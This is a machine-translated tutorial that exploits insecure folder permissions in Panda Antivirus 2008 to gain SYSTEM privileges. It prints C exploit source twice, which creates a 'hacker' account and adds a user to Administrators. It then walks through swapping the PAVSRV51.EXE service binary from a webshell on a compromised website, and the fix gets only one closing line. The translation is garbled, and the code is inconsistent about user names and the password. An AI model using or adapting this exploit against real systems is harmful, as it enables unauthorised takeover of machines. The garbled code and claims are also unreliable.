Local Elevation of Privilege Vulnerability and repair methods

This article will bring you a Local Elevation of Privilege Vulnerability for Panda guard. I think this vulnerability may be helpful to us in the future, so I will introduce it to you in detail. After all, it is not a bad idea to add more ideas.
Compile EXP
First, let's take a look at the description of this vulnerability. Tmall guard installs system files with insecure access permissions. Local attackers may exploit this vulnerability to escalate their permissions and gain full control of the system. When you install Panda guard 2008, the "% ProgramFiles % Panda SecurityPanda Antivirus 2008" permission of the installation folder is set to "Everyone: Full Control" by default ". Some services (such as PAVSRV51.EXE) are started from this folder with the LocalSystem account without any protection for the service. Non-privileged users can replace the executable program of the service with their own files to gain full access to the local system, or obtain permissions of any other users logging on to the host, including system administrator permissions.
It turned out to be the reason for setting directory permissions, which enables full access to anyone. Full access means execution, writing, and reading.
The EXP of this vulnerability is written in C language in Windows. The specific code is as follows.

View plainprint?
# Include <windows. h>
# Include <stdio. h>

INT main (VOID)
{
CHAR szWinDir [_ MAX_PATH];
CHAR szCmdLine [_ MAX_PATH];
GetEnvironmentVariable ("WINDIR", szWinDir, _ MAX_PATH );
Printf ("cnbird modified ");
Printf ("create username as" hacker "password as" hacker "...");
Wsprintf (szCmdLine, "% s \ system32 \ net.exe user hacker/add", szWinDir );
System (szCmdLine );
Printf ("Adding User" hacker "to local administrator group ...");
Wsprintf (szCmdLine, "% s \ system32 \ net.exe localgroup Administrators owner/add", szWinDir );
System (szCmdLine );
Printf ("added... Good Luck ...");
Return 0;
}
# Include <windows. h>
# Include <stdio. h>
INT main (VOID)
{
CHAR szWinDir [_ MAX_PATH];
CHAR szCmdLine [_ MAX_PATH];
GetEnvironmentVariable ("WINDIR", szWinDir, _ MAX_PATH );
Printf ("cnbird modified ");
Printf ("create username as" hacker "password as" hacker "...");
Wsprintf (szCmdLine, "% s \ system32 \ net.exe user hacker/add", szWinDir );
System (szCmdLine );
Printf ("Adding User" hacker "to local administrator group ...");
Wsprintf (szCmdLine, "% s \ system32 \ net.exe localgroup Administrators owner/add", szWinDir );
System (szCmdLine );
Printf ("added... Good Luck ...");
Return 0;
}

I made some modifications to the source program for ease of use. Save the above Code as pandalocalexp. c, and then enable VC ++ for compilation. The compilation process is not detailed. The compiled program pavsrv51.exe is provided with the document. You can use it directly. Here, I want to change the name to pavsrv51.exe.
Local EXP usage
From the above vulnerability description, we have learned that this vulnerability is caused by a problem in the directory settings of the guardian, which allows anyone to access it. This means that we can replace the main program of the guard. Now let's take a look at the specific operations.
As this is a Local Elevation of Privilege Vulnerability, we assume that we have obtained the WebShell of a website. After logging on to WebShell, find the installation directory of panda Guard, which is "C: Program FilesPanda SoftwarePanda Antivirus 2008". Let's go to this directory, as shown in 1.

Figure 1

Step 1: Upload our local vulnerability exploitation program to this folder. Don't be afraid. This directory can be controlled by anyone. Just upload it with confidence! 2. Change the program name to 1.exe.


Figure 2
Step 2: Rename the main program pavsrv51.exe of the cat guard as PAVSRV51.old. Click the "move" command of WebShell.
Step 3: Rename the previous 1.exe file as pavsrv51.exe. This is basically done. After that, we need to wait for the server to restart and load our vulnerability exploitation program to successfully add users.
Because I already have the server permission, restart it directly. Check the user. Haha, the user hacker and password hacker have been successfully added, as shown in 3. It is still the system permission.

Figure 3
I won't talk much about it here. Let's finish the rest. Finally, let me talk about how to fix the vulnerability. It is very simple to set the permission of the installation directory of the guard, so that ordinary users do not have the permission to execute commands.